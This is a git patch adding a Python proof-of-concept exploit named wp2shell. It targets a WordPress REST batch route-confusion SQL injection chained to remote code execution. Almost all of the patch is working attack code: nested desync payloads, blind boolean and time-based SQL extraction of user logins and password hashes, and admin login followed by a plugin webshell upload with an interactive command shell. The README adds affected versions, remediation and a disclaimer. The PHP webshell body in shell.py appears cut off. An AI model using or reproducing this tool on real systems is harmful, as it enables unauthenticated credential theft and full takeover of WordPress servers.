From 521d0f04c69ca378b0b629f140ef5f45d2debb34 Mon Sep 17 00:00:00 2001 From: Icex0 <99045665+Icex0@users.noreply.github.com> Date: Sat, 18 Jul 2026 00:50:04 +0200 Subject: [PATCH] init --- .gitignore | 7 ++ LICENSE | 21 ++++ README.md | 122 ++++++++++++++++++++ pyproject.toml | 23 ++++ wp2shell.py | 9 ++ wp2shell/__init__.py | 3 + wp2shell/__main__.py | 6 + wp2shell/cli.py | 264 +++++++++++++++++++++++++++++++++++++++++++ wp2shell/client.py | 120 ++++++++++++++++++++ wp2shell/shell.py | 133 ++++++++++++++++++++++ wp2shell/sqli.py | 74 ++++++++++++ 11 files changed, 782 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 README.md create mode 100644 pyproject.toml create mode 100755 wp2shell.py create mode 100644 wp2shell/__init__.py create mode 100644 wp2shell/__main__.py create mode 100644 wp2shell/cli.py create mode 100644 wp2shell/client.py create mode 100644 wp2shell/shell.py create mode 100644 wp2shell/sqli.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b80df18 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +__pycache__/ +*.py[cod] +*.egg-info/ +build/ +dist/ +.venv/ +venv/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..06e3574 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 wp2shell-poc contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..8c21213 --- /dev/null +++ b/README.md @@ -0,0 +1,122 @@ +# wp2shell-poc + +Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote +code execution, via REST batch route confusion (CVE-2026-63030). + +The exploit needs no credentials and no configuration beyond a reachable target. It reaches the +injection through a single endpoint: `POST /wp-json/batch/v1`. + +The finding itself is that unauthenticated SQL injection — `check` confirms it and `read` +demonstrates arbitrary database read. The `shell` command is optional post-exploitation +(recovered admin credentials → plugin upload → command execution), included to demonstrate full +impact; it is not the vulnerability. + +## Affected versions + +| Branch | Affected | Fixed in | +| ------ | ------------- | -------- | +| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | +| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | + +Versions before 6.9.0 are not affected by this chain. + +## How it works + +The REST batch endpoint (`/batch/v1`) is unauthenticated and runs several sub-requests in one +call, relying on each sub-request being validated and permission-checked on its own. + +`serve_batch_request_v1()` builds two parallel arrays — `$matches` (the matched handler per +sub-request) and `$validation` (the validation result per sub-request) — then indexes both by +the same offset when dispatching. A sub-request whose path fails `wp_parse_url()` is appended to +`$validation` but not to `$matches`, so the arrays fall out of step and a sub-request is +dispatched under a **different** sub-request's handler. That is the route confusion. + +The PoC nests the primitive twice: + +1. A `POST /wp/v2/posts` request that carries a `requests` body is dispatched under the batch + handler itself. Having been validated as a posts request, its `requests` list is never checked + against the batch schema, so its sub-requests may use `GET` — the method allow-list is + bypassed. +2. Inside that inner batch, a `GET /wp/v2/users` request carrying an `author_exclude` string + (the users schema has no such parameter, so the value passes validation untouched) is + dispatched under posts `get_items()`. There `author_exclude` maps to the `WP_Query` + `author__not_in` query var, which the vulnerable build interpolates into SQL as a string. + +The result is a boolean- and time-based blind SQL injection reachable pre-authentication. With +database read access the administrator password hash can be recovered; once cracked, admin access +yields code execution through a plugin upload. + +## Requirements + +Python 3.8+ and the standard library. No third-party dependencies. + +## Usage + +Run it from the repository directory: + +``` +./wp2shell.py [options] +``` + +Or `pip install .` to get a `wp2shell` command on your `PATH`. + +### check — confirm the vulnerability (safe) + +Confirms exploitability with a differential time delay. It reads no data and changes nothing. + +``` +./wp2shell.py check http://target +``` + +### read — extract data (blind SQL injection) + +``` +./wp2shell.py read http://target # server fingerprint +./wp2shell.py read http://target --preset users # user logins and password hashes +./wp2shell.py read http://target --query "SELECT @@version" +``` + +### shell — execute a command (remote code execution) + +Optional post-exploitation. Requires valid administrator credentials; the injection recovers the +password *hash*, so supply the recovered plaintext here. + +``` +./wp2shell.py shell http://target --user admin --password '' --cmd id +./wp2shell.py shell http://target --user admin --password '' -i # interactive shell +``` + +`shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its +path. Remove it when finished. + +## Options + +| Option | Applies to | Description | +| ------------------- | ---------- | -------------------------------------------------------------------- | +| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). | +| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). | +| `--timeout N` | all | Request timeout in seconds. | +| `--sleep N` | check | Delay used to confirm the injection. | +| `--preset` | read | `fingerprint` or `users`. | +| `--query` | read | A scalar SQL expression to read. | +| `--prefix` | read | Database table prefix (default `wp_`). | +| `--max-length N` | read | Maximum characters read per value (default 128). | +| `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). | +| `--cmd` | shell | Command to run (omit when using `-i`). | +| `-i` / `--interactive` | shell | Open an interactive shell after deploying. | + +## Remediation + +Update to WordPress 6.9.5 or 7.0.2. Until then, block both `/wp-json/batch/v1` and the +`rest_route=/batch/v1` query parameter at the edge, or require authentication for the batch +endpoint via the `rest_pre_dispatch` filter. + +## Legal + +For authorized security testing only. Use it exclusively against systems you own or have explicit +written permission to test. The author accepts no liability for misuse. + +## References + +- WordPress 7.0.2 release announcement — +- CVE-2026-63030 diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..2a02bc9 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,23 @@ +[build-system] +requires = ["setuptools>=61"] +build-backend = "setuptools.build_meta" + +[project] +name = "wp2shell-poc" +version = "1.0.0" +description = "PoC for the WordPress REST batch route-confusion SQL injection to RCE chain (CVE-2026-63030)." +readme = "README.md" +requires-python = ">=3.8" +license = { text = "MIT" } +keywords = ["wordpress", "rest-api", "sql-injection", "rce", "security", "cve-2026-63030"] +classifiers = [ + "Environment :: Console", + "Intended Audience :: Information Technology", + "Topic :: Security", +] + +[project.scripts] +wp2shell = "wp2shell.cli:main" + +[tool.setuptools] +packages = ["wp2shell"] diff --git a/wp2shell.py b/wp2shell.py new file mode 100755 index 0000000..7bdf627 --- /dev/null +++ b/wp2shell.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python3 +"""Standalone launcher — equivalent to `python3 -m wp2shell`.""" + +import sys + +from wp2shell.cli import main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/wp2shell/__init__.py b/wp2shell/__init__.py new file mode 100644 index 0000000..8237383 --- /dev/null +++ b/wp2shell/__init__.py @@ -0,0 +1,3 @@ +"""wp2shell — PoC for the WordPress REST batch route-confusion SQLi/RCE chain (CVE-2026-63030).""" + +__version__ = "1.0.0" diff --git a/wp2shell/__main__.py b/wp2shell/__main__.py new file mode 100644 index 0000000..dbdd066 --- /dev/null +++ b/wp2shell/__main__.py @@ -0,0 +1,6 @@ +import sys + +from .cli import main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/wp2shell/cli.py b/wp2shell/cli.py new file mode 100644 index 0000000..de98531 --- /dev/null +++ b/wp2shell/cli.py @@ -0,0 +1,264 @@ +"""Command-line interface.""" + +from __future__ import annotations + +import argparse +import shlex +import sys +from typing import Optional + +from . import __version__ +from .client import BatchClient +from .shell import AdminSession +from .sqli import BlindSQLi + +try: + import readline # noqa: F401 - enables line editing/history for the interactive prompt +except ImportError: + pass + +_TTY = sys.stdout.isatty() + + +def _paint(code: str, text: str) -> str: + return f"\033[{code}m{text}\033[0m" if _TTY else text + + +def info(msg: str) -> None: + print(f"[*] {msg}") + + +def good(msg: str) -> None: + print(_paint("32", f"[+] {msg}")) + + +def bad(msg: str) -> None: + print(_paint("31", f"[-] {msg}")) + + +def warn(msg: str) -> None: + print(_paint("33", f"[!] {msg}")) + + +def _progress(text: str) -> None: + # Single updating line on a terminal; suppressed when output is piped or redirected. + if _TTY: + sys.stdout.write("\r\033[K " + text) + sys.stdout.flush() + + +def _clear_progress() -> None: + if _TTY: + sys.stdout.write("\r\033[K") + sys.stdout.flush() + + +def _client(args: argparse.Namespace) -> BatchClient: + return BatchClient( + args.url, + timeout=args.timeout, + rest_route=args.rest_route, + proxy=args.proxy, + ) + + +# -- commands --------------------------------------------------------------- + + +def cmd_check(args: argparse.Namespace) -> int: + # The confirmation request sleeps for --sleep, so the timeout must exceed it. + client = BatchClient( + args.url, + timeout=max(args.timeout, args.sleep + 10), + rest_route=args.rest_route, + proxy=args.proxy, + ) + probe = client.probe() + if probe.status != 207: + bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.") + return 1 + good("Batch endpoint reachable and unauthenticated (HTTP 207).") + + confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm() + if confirmed: + good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.") + return 0 + bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.") + return 2 + + +def cmd_read(args: argparse.Namespace) -> int: + client = _client(args) + sqli = BlindSQLi(client) + + if args.query: + info(f"Reading: {args.query}") + value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress) + _clear_progress() + good(f"Result: {value}") + elif args.preset == "fingerprint": + for label, expr in ( + ("MySQL version", "SELECT @@version"), + ("Database user", "SELECT CURRENT_USER()"), + ("Database name", "SELECT DATABASE()"), + ): + good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}") + elif args.preset == "users": + table = f"{args.prefix}users" + total = sqli.integer(f"SELECT COUNT(*) FROM {table}") + info(f"{total} user(s) in {table}.") + for offset in range(total): + row = sqli.extract( + f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) " + f"FROM {table} ORDER BY ID LIMIT {offset},1", + max_length=args.max_length, + on_char=_progress, + ) + _clear_progress() + good(row) + + info(f"{sqli.requests} request(s) sent.") + return 0 + + +_CWD_MARK = "__wp2shellcwd__" # shell-metacharacter-free so it survives the remote shell + + +def _repl(session: AdminSession, path: str) -> None: + """A minimal interactive prompt piping each line through the webshell. + + Commands are stateless server-side, so the working directory is tracked client-side and + re-applied to each command (which makes `cd` behave as expected). + """ + pwd = session.run(path, "pwd") + if pwd is None: + bad("webshell not responding; aborting interactive mode.") + return + cwd = pwd.strip() or "/" + info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.") + while True: + try: + line = input(_paint("36", f"{cwd} $ ")) + except (EOFError, KeyboardInterrupt): + print() + return + command = line.strip() + if not command: + continue + if command in ("exit", "quit"): + return + out = session.run( + path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\"" + ) + if out is None: + bad("no response from webshell") + continue + body, marker, tail = out.rpartition(_CWD_MARK) + if marker: + cwd = tail.strip() or cwd + out = body + out = out.rstrip("\n") + if out: + print(out) + + +def cmd_shell(args: argparse.Namespace) -> int: + if not args.cmd and not args.interactive: + bad("specify --cmd or --interactive") + return 2 + + warn("This uploads a plugin containing a webshell to the target.") + session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy) + + info(f"Authenticating as {args.user!r}...") + if not session.login(args.user, args.password): + bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').") + return 1 + good("Authenticated.") + + info("Deploying webshell plugin...") + path = session.deploy_webshell() + good(f"Webshell: {args.url.rstrip('/')}{path}") + + rc = 0 + if args.cmd: + output = session.run(path, args.cmd) + if output is None: + bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.") + rc = 1 + else: + print() + print(output.rstrip("\n")) + print() + + if args.interactive: + _repl(session, path) + + if not args.keep: + warn(f"Remove the webshell when finished (delete {path} on the target).") + return rc + + +# -- parser ----------------------------------------------------------------- + + +def _add_common(parser: argparse.ArgumentParser) -> None: + parser.add_argument("url", help="target base URL, e.g. http://target") + parser.add_argument( + "--rest-route", + action="store_true", + help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1", + ) + parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)") + parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080") + + +def build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="wp2shell", + description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).", + ) + parser.add_argument("--version", action="version", version=f"wp2shell {__version__}") + sub = parser.add_subparsers(dest="command", required=True) + + check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)") + _add_common(check) + check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)") + check.set_defaults(func=cmd_check) + + read = sub.add_parser("read", help="read from the database via blind SQL injection") + _add_common(read) + group = read.add_mutually_exclusive_group() + group.add_argument( + "--preset", + choices=("fingerprint", "users"), + default="fingerprint", + help="fingerprint (version/user/db) or users (logins and password hashes)", + ) + group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"') + read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)") + read.add_argument("--max-length", type=int, default=128, help="max characters per value") + read.set_defaults(func=cmd_read) + + shell = sub.add_parser("shell", help="execute a command (requires admin credentials)") + _add_common(shell) + shell.add_argument("--user", required=True, help="admin username") + shell.add_argument("--password", required=True, help="admin password (cracked from the hash)") + shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)") + shell.add_argument("-i", "--interactive", action="store_true", + help="open an interactive shell after deploying") + shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell") + shell.set_defaults(func=cmd_shell) + + return parser + + +def main(argv: Optional[list] = None) -> int: + args = build_parser().parse_args(argv) + try: + return args.func(args) + except KeyboardInterrupt: + return 130 + except Exception as exc: # noqa: BLE001 - surface a clean message, not a traceback + bad(str(exc)) + return 1 diff --git a/wp2shell/client.py b/wp2shell/client.py new file mode 100644 index 0000000..b345925 --- /dev/null +++ b/wp2shell/client.py @@ -0,0 +1,120 @@ +"""HTTP transport and construction of the nested batch route-confusion payloads.""" + +from __future__ import annotations + +import json +import time +import urllib.error +import urllib.parse +import urllib.request +from dataclasses import dataclass +from typing import Any, Optional + +# A deliberately malformed path (no host, no port) for which wp_parse_url() returns false. +# The client never dials it; its only job is to seed one WP_Error into the batch's request +# list, which is what desynchronises $matches from $validation so a sub-request is dispatched +# under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is +# used so it cannot be mistaken for a network target. +_DESYNC_PRIMER = {"method": "POST", "path": "///"} + + +class TargetError(Exception): + """The target could not be reached (connection refused, DNS failure, timeout).""" + + +@dataclass +class Response: + status: int + elapsed: float + body: str + + def json(self) -> Any: + return json.loads(self.body) + + +class BatchClient: + """Sends requests to a target's REST batch endpoint and builds injection payloads.""" + + def __init__( + self, + base_url: str, + *, + timeout: float = 30.0, + rest_route: bool = False, + proxy: Optional[str] = None, + user_agent: str = "wp2shell", + ) -> None: + self.base_url = base_url.rstrip("/") + self.timeout = timeout + self.rest_route = rest_route + self.user_agent = user_agent + handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else [] + self._opener = urllib.request.build_opener(*handlers) + + @property + def endpoint(self) -> str: + if self.rest_route: + return f"{self.base_url}/?rest_route=/batch/v1" + return f"{self.base_url}/wp-json/batch/v1" + + def post(self, payload: dict) -> Response: + request = urllib.request.Request( + self.endpoint, + data=json.dumps(payload).encode(), + method="POST", + headers={"Content-Type": "application/json", "User-Agent": self.user_agent}, + ) + start = time.monotonic() + try: + resp = self._opener.open(request, timeout=self.timeout) + status, body = resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as exc: + status, body = exc.code, exc.read().decode("utf-8", "replace") + except OSError as exc: # URLError, connection refused, timeout, DNS failure + reason = getattr(exc, "reason", exc) + raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None + return Response(status, time.monotonic() - start, body) + + def probe(self) -> Response: + """A benign empty batch, used to test whether the endpoint is reachable and open.""" + return self.post({"requests": []}) + + def inject(self, author_not_in: str) -> Response: + """Send a payload placing `author_not_in` into the WP_Query author__not_in clause.""" + return self.post(self._payload(author_not_in)) + + def rows(self, response: Response) -> Optional[list]: + """Return the inner get_items() result rows from a nested batch response, else None.""" + try: + inner = response.json()["responses"][1]["body"] + result = inner["responses"][1]["body"] + except (KeyError, IndexError, TypeError, ValueError): + return None + return result if isinstance(result, list) else None + + @staticmethod + def _payload(author_not_in: str) -> dict: + # Inner batch: a users request (whose collection schema has no `author_exclude`, so the + # value passes validation unchanged as a raw string) is desynced onto posts get_items(), + # which maps author_exclude -> WP_Query author__not_in. + inner = { + "requests": [ + _DESYNC_PRIMER, + { + "method": "GET", + "path": "/wp/v2/users?author_exclude=" + + urllib.parse.quote(author_not_in, safe=""), + }, + {"method": "GET", "path": "/wp/v2/posts"}, + ] + } + # Outer batch: a posts request carrying the inner batch as its body is desynced onto the + # batch handler itself. Validated as a posts request, its `requests` list is never checked + # against the batch schema, so the inner sub-requests are free to use GET. + return { + "requests": [ + _DESYNC_PRIMER, + {"method": "POST", "path": "/wp/v2/posts", "body": inner}, + {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}, + ] + } diff --git a/wp2shell/shell.py b/wp2shell/shell.py new file mode 100644 index 0000000..d3ff363 --- /dev/null +++ b/wp2shell/shell.py @@ -0,0 +1,133 @@ +"""Post-authentication code execution: deploy a plugin webshell and run commands. + +Remote code execution requires valid administrator credentials. The SQL injection recovers the +administrator password *hash*; the corresponding plaintext (recovered offline) is supplied here. +""" + +from __future__ import annotations + +import http.cookiejar +import io +import re +import secrets +import urllib.parse +import urllib.request +import uuid +import zipfile +from typing import Dict, Optional, Tuple + +_MARKER = "WP2SHELL" + + +class AdminSession: + """An authenticated admin session that can deploy a webshell and execute OS commands.""" + + def __init__( + self, + base_url: str, + *, + timeout: float = 20.0, + proxy: Optional[str] = None, + user_agent: str = "wp2shell", + ) -> None: + self.base_url = base_url.rstrip("/") + self.timeout = timeout + # Randomised path + token so the dropped webshell is not a predictable, world-usable RCE. + self._slug = "wp2shell_" + secrets.token_hex(4) + self._token = secrets.token_hex(16) + self._jar = http.cookiejar.CookieJar() + handlers = [urllib.request.HTTPCookieProcessor(self._jar)] + if proxy: + handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy})) + self._opener = urllib.request.build_opener(*handlers) + self._opener.addheaders = [("User-Agent", user_agent)] + + def login(self, username: str, password: str) -> bool: + self._get("/wp-login.php") # establish the test cookie + self._post( + "/wp-login.php", + { + "log": username, + "pwd": password, + "wp-submit": "Log In", + "redirect_to": f"{self.base_url}/wp-admin/", + "testcookie": "1", + }, + ) + return any(c.name.startswith("wordpress_logged_in") for c in self._jar) + + def deploy_webshell(self) -> str: + """Upload the webshell plugin and return its web-reachable path.""" + page = self._get("/wp-admin/plugin-install.php?tab=upload") + nonce = self._nonce(page) + if not nonce: + raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)") + body, content_type = self._multipart( + { + "_wpnonce": nonce, + "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload", + "install-plugin-submit": "Install Now", + }, + {"pluginzip": (f"{self._slug}.zip", self._plugin_zip())}, + ) + self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type}) + return f"/wp-content/plugins/{self._slug}/{self._slug}.php" + + def run(self, shell_path: str, command: str) -> Optional[str]: + query = urllib.parse.urlencode({"t": self._token, "c": command}) + output = self._get(f"{shell_path}?{query}") + match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S) + return match.group(1) if match else None + + # -- helpers ------------------------------------------------------------ + + def _get(self, path: str) -> str: + return self._opener.open(self.base_url + path, timeout=self.timeout).read().decode( + "utf-8", "replace" + ) + + def _post(self, path: str, data, headers: Optional[dict] = None) -> str: + if isinstance(data, dict): + data = urllib.parse.urlencode(data).encode() + request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {}) + return self._opener.open(request, timeout=self.timeout).read().decode("utf-8", "replace") + + def _plugin_zip(self) -> bytes: + # The webshell only runs when the request carries the per-session token. + php = ( + " Optional[str]: + # Take the _wpnonce belonging to the plugin-upload form, not the first nonce on the page. + form = re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"', + html, re.S) + if form: + return form.group(1) + tag = re.search(r']*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html) + return tag.group(1) if tag else None + + @staticmethod + def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]: + boundary = "----wp2shell" + uuid.uuid4().hex + buffer = io.BytesIO() + for name, value in fields.items(): + buffer.write(f"--{boundary}\r\n".encode()) + buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()) + for name, (filename, content) in files.items(): + buffer.write(f"--{boundary}\r\n".encode()) + buffer.write( + f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode() + ) + buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n") + buffer.write(f"--{boundary}--\r\n".encode()) + return buffer.getvalue(), f"multipart/form-data; boundary={boundary}" diff --git a/wp2shell/sqli.py b/wp2shell/sqli.py new file mode 100644 index 0000000..5b43486 --- /dev/null +++ b/wp2shell/sqli.py @@ -0,0 +1,74 @@ +"""Blind SQL injection oracles and a string extractor over the route-confusion sink. + +The injected value lands inside the query as: + + ... post_author NOT IN () ... + +so a value of ``0) -- -`` closes the IN() list and appends arbitrary SQL. +""" + +from __future__ import annotations + +from typing import Callable, Optional, Tuple + +from .client import BatchClient + +_MIN_PRINTABLE = 32 +_MAX_PRINTABLE = 126 + + +class BlindSQLi: + def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None: + self.client = client + self.sleep = sleep + self.requests = 0 + + def confirm(self) -> Tuple[bool, float, float]: + """Confirm injectability with a differential time delay. + + Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database + content and modifies nothing. + """ + baseline = self._elapsed("SLEEP(0)") + delayed = self._elapsed(f"SLEEP({self.sleep:g})") + confirmed = (delayed - baseline) >= (self.sleep - 1.0) + return confirmed, baseline, delayed + + def extract( + self, + expression: str, + *, + max_length: int = 128, + on_char: Optional[Callable[[str], None]] = None, + ) -> str: + """Read a string-valued SQL expression one character at a time (binary search).""" + chars = [] + for position in range(1, max_length + 1): + probe = f"ASCII(SUBSTRING(({expression}),{position},1))" + if not self._true(f"{probe} > 0"): + break + low, high = _MIN_PRINTABLE, _MAX_PRINTABLE + while low < high: + mid = (low + high) // 2 + if self._true(f"{probe} > {mid}"): + low = mid + 1 + else: + high = mid + chars.append(chr(low)) + if on_char: + on_char("".join(chars)) + return "".join(chars) + + def integer(self, expression: str) -> int: + """Read an integer-valued SQL expression.""" + text = self.extract(expression).strip() + return int(text) if text.lstrip("-").isdigit() else 0 + + def _elapsed(self, sql: str) -> float: + self.requests += 1 + return self.client.inject(f"0) OR {sql}-- -").elapsed + + def _true(self, condition: str) -> bool: + # get_items() returns rows only when the appended boolean condition holds. + self.requests += 1 + return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))